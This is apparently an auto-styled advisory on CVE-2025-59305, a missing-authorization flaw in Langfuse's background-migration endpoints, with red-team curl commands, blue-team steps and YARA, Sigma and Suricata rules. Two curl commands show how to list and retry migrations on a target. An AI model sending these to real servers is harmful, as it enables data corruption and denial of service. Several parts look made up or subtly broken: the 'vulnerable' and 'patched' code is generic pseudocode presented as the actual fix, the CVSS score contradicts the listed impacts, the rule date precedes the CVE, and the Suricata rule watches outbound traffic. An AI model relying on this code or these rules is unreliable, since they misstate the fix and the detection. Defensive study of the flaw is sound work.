CVE-2025-59305

Executive Summary

CVE-2025-59305 is an improper authorization vulnerability in Langfuse version 3.1 (before commit d67b317). The flaw allows any authenticated user to invoke background migration control functions via TRPC endpoints (backgroundMigrations.all, backgroundMigrations.status, backgroundMigrations.retry). This can lead to data corruption or denial of service. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

Langfuse is an open-source observability and tracing platform for LLM applications. This vulnerability affects the core application, not a package manager distribution. Users should verify their deployment source and apply the patch from the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High (Data corruption)
• Availability Impact: High (Denial of service)
• Threat Level: Medium (due to authenticated requirement but high impact)

Deep Dive & Mechanics

The vulnerability resides in the TRPC router handling background migration endpoints. In Langfuse 3.1, the authorization middleware does not properly restrict access to these endpoints. Any authenticated user, regardless of role, can call:

• backgroundMigrations.all – List all migrations.
• backgroundMigrations.status – Check migration status.
• backgroundMigrations.retry – Retry a failed migration.

An attacker can abuse backgroundMigrations.retry to re-run migrations that may corrupt data or cause inconsistent state. Repeated calls can lead to denial of service by exhausting resources or causing migration loops.

Vulnerable vs. Patched Code

Vulnerable (before d67b317):

// No role check on background migration endpoints
router.all('backgroundMigrations.*', async (req, res) => {
  // Directly handles request without authorization
});

Patched (after d67b317):

// Added authorization middleware
router.all('backgroundMigrations.*', authorize(['admin']), async (req, res) => {
  // Only admins can access
});

Exploitation & Lab Setup

Red Team

1. Prerequisites: Authenticated session token for any user.
2. Enumerate endpoints:

   curl -X POST https://target/api/trpc/backgroundMigrations.all \
     -H "Authorization: Bearer <token>"
   

3. Retry a migration:

   curl -X POST https://target/api/trpc/backgroundMigrations.retry \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"migrationId": "some-migration-id"}'
   

4. Impact: Data corruption or denial of service.

Blue Team

1. Monitor logs for unusual access to /api/trpc/backgroundMigrations.* endpoints by non-admin users.
2. Implement rate limiting on migration endpoints.
3. Audit user roles and ensure least privilege.
4. Apply patch from commit d67b317.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/trpc/backgroundMigrations.* with non-admin tokens.
• Logs: Repeated calls to backgroundMigrations.retry with different migration IDs.
• System: Unexpected migration state changes or database corruption.

Detection Engineering

YARA Rule

rule CVE_2025_59305_Langfuse_BackgroundMigration {
    meta:
        description = "Detects exploitation attempts of CVE-2025-59305"
        author = "Valters IT"
        date = "2025-01-01"
    strings:
        $s1 = "backgroundMigrations.all" ascii nocase
        $s2 = "backgroundMigrations.status" ascii nocase
        $s3 = "backgroundMigrations.retry" ascii nocase
    condition:
        any of ($s*)
}

Sigma Rule

title: Langfuse Background Migration Unauthorized Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized access to background migration endpoints
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-stem:
            - "/api/trpc/backgroundMigrations.all"
            - "/api/trpc/backgroundMigrations.status"
            - "/api/trpc/backgroundMigrations.retry"
    condition: selection
falsepositives:
    - Legitimate admin activity
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-59305 Langfuse Background Migration Exploit";
    flow:to_server,established;
    content:"/api/trpc/backgroundMigrations"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Apply the patch from commit d67b317 in the Langfuse repository.
2. Short-term: Restrict access to migration endpoints via reverse proxy (e.g., Nginx) to only admin IPs.
3. Long-term: Implement role-based access control (RBAC) for all TRPC endpoints.
4. Monitoring: Enable audit logging for all migration operations.

Valters IT